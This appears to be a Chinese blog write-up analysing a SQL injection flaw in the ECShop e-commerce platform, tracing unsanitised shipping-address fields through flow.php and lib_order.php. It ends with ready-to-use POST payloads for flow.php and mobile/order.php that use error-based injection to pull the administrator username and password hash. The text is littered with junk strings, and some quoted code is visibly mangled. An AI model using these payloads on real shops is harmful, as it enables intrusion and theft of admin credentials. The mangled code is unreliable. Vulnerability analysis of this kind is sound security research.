ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
' z. e( J$ ?, T3 v
4 {3 N* S+ Q5 J! X% ]: h    漏洞关键文件：
" w" X7 o( n$ t
- O0 S, A4 U' [; Z    /includes/lib_order.php

    关键函数：
" t7 N6 f6 c4 K: N


: z5 D' N; [8 V, H6 ?01     function available_shipping_list($region_id_list)

+ T8 q4 F; H( F02 {

! Z9 }* {- ^+ b! @9 D" r3 v/ Z03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .

9 w0 X' V1 Q4 k) g: R04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
  k  [9 J5 w7 d0 Z$ H7 E; I, N5 \
! L1 ^# d% t8 F! W05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

! t) k; {5 r9 B# H6 p08             'WHERE r.region_id ' . db_create_in($region_id_list) .

09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

5 J9 _; Z) f) I  H6 J6 c10   
6 o$ R  v+ J' [# n; B  {# l
' S) x3 @! V* }1 s& P. C11     return $GLOBALS['db']->getAll($sql);

12 }

  U/ b9 g9 P& R" b/ Q显然对传入的参数没有任何过滤就带入了查询语句。
& O% R) J' }: O) P1 J" {
下面我们追踪这个函数在flow.php中：
第531行：   

6 n8 ]+ n0 K8 V# X9 ?+ D& z- d! V1 $shipping_list     = available_shipping_list($region);
$ ]: j3 V4 }/ {! c

$ i( |& w; g6 E" ~* y% i( ~


再对传入变量进行追踪：
( _. m2 A  i/ L' v
, i1 G+ |; X" A  O$ l第530行：   

$ P  `7 n( H9 [" [8 p1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
- T1 ?  o1 R9 }2 j- k
/ W- ~  b1 |$ f5 H1 x7 ?


- h# |6 z- X3 O- g' J
第473行：        

& }; M: K. w2 K5 D1 $consignee = get_consignee($_SESSION['user_id']);

到了一个关键函数：

/ I# c1 }, k& |# A2 F" z& L6 p. h/includes/lib_order.php
* P; p: M6 O+ W0 P8 I& l8 k$ I9 M- o2 `



+ l% P. Z2 B( X- _/ V; v! t8 v
01 function get_consignee($user_id)

02 {

03     if (isset($_SESSION['flow_consignee']))
( C: x- u; k& ]# C+ M$ U  z: q
04     {

. L4 K( [6 L& n& }) y+ J) [$ w05         /* 如果存在session，则直接返回session中的收货人信息 */

06   
5 a  H* p  s/ o! Y) h! x
9 [1 u) b) W) N* U; |* l% F4 n07         return $_SESSION['flow_consignee'];
* {! z5 d5 ~9 V) |' S) R5 S! [
08     }
' J: k& h, F) r) t# E
7 O: g) A7 Z" r: k% q09     else

10     {
7 Z/ {! Z; e( f$ h" m0 a
11         /* 如果不存在，则取得用户的默认收货人信息 */

12         $arr = array();

13   
( C1 W& [- \  ]6 B4 \% e
+ S' W: P4 V: d% ], D14         if ($user_id > 0)
' s, S3 d# v- r  s6 g* c! d
5 Z8 ~8 A/ Z4 o6 m: S7 ^15         {
. |0 _* A! E- J" |! |3 \4 E$ [& e
" c; |7 ]3 H$ t8 w8 e- X# ?16             /* 取默认地址 */
0 ]- W1 I7 u) x
17             $sql = "SELECT ua.*".
! D' A: K, |3 H2 S) E- e
. c8 o7 p) [* a) `* q. o0 i. \; }( L18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
3 J- d: p( h2 D+ A" T* ?! j
1 _: b2 Y8 e. t0 U2 v) U19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
; T+ t# n0 ]$ r; V4 l; i! R
20   

: {7 N$ m: v! R+ G# o1 q; A21             $arr = $GLOBALS['db']->getRow($sql);

: Y0 s# f, ~% A  [& l8 Y9 b22         }

# a/ B! [( x! t& S4 w/ J23   

# m) X8 R& ~7 b) Y24         return $arr;
) D0 u, W/ E; i. H
: x+ ]! G7 x+ n( Z+ m% t25     }

+ ]) ]. c- S; G7 m26 }

显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
3 T* _2 L; G+ d) t
1 F7 P9 F, ~, G+ Q7 t5 i5 H

关键点:
2 Z: Q6 V8 G+ V* O# A/ U1 X/ e
7 T" m( Y( I% `0 @( L; q& d第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

, w- X/ F3 v$ Q5 i$ }$ [. o这里对传入参数反转义存入$_SESSION中。


2 `; p: L( T8 O0 B( G! B
' F8 c4 i: R$ i6 G3 s然后看下：
# g+ a, J$ @2 S

) E% \7 T6 ^0 U$ ^
   

5 ~' Y! ?1 n; S; [$ y0 V" V! `01 $consignee = array(
: ]3 v8 S7 M* J
- k- S8 y0 z% a5 v1 D0 `02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
# u, Z" b' ~* R; {# l$ i" E5 Z
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

- i! a! o5 F7 {- `04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
. F" @5 i4 f5 [
0 h1 @8 j7 Y3 x6 U$ s2 }8 s! U+ J! C05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
3 _: d& I* A  H& f$ q
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
: Q: J9 R8 J7 e0 J
07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

* y3 f8 Q' q! \08         'email'         => empty($_POST['email'])      ? '' _POST['email'],

4 U$ \+ J9 s5 n" Q5 l09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
1 |( k7 ~6 l% H9 L
5 z6 e3 _5 _- C- B8 m& n. a: ^10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

2 V- x" e3 N. l! t11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
9 x. D0 n) S; u, D
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
! ~' k) K7 ?9 k9 l. x+ y- p
1 V2 }3 B  z( L8 w13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
6 m- _. j- G: \) P
15     );

. Y9 s+ `. i# D好了注入就这样出现了。

==================

$ o0 O* n. z! [6 A+ C5 F注入测试：

环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
' N7 I. s! ~2 V
+ @5 Z6 h# m) }  ?, m" c测试程序：ECShop_V2.7.3_UTF8_release1106

' f/ p5 T$ x4 \# a4 s
) N3 E( m+ ]  [: R' |' x5 o' B; s
1.首先需要点击一个商品加入购物车

2.注册一个会员帐号
: |- C; ?4 }! B$ ^! n% ?; L
3.post提交数据

1 r9 Y( ^  z+ p  S( ^+ e! I

" t- E( i0 G' o0 h0 S; s1 http://127.0.0.1/ecshop/flow.php
( a6 Y$ _: B% b
2   
2 U6 W7 ?% q" M2 ~& e
2 @% a. I( {8 v1 m2 K. Z" W( p. C3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：

我们搜寻关键函数function available_shipping_list()

1 y& k8 Q, Y! |( M- `6 }& \在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
# ]9 f, t9 f. B6 l
利用exp:
) \/ P5 e2 Z3 r, o6 {' F
1.点击一个商品，点击购买商标
2 D, `) }7 c3 k
. R# j0 B4 t$ {; E. J5 x2.登录会员帐号

/ ^! W! U! B* q) D# u/ M- j& x1 @3.post提交：
2 `$ }! ]; G4 j+ O3 H  O% x: c
http://127.0.0.1/ecshop/mobile/order.php
+ J3 t' K# l6 N% P+ d6 v, a! c


country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
; l' |* K. N" H3 X) `& _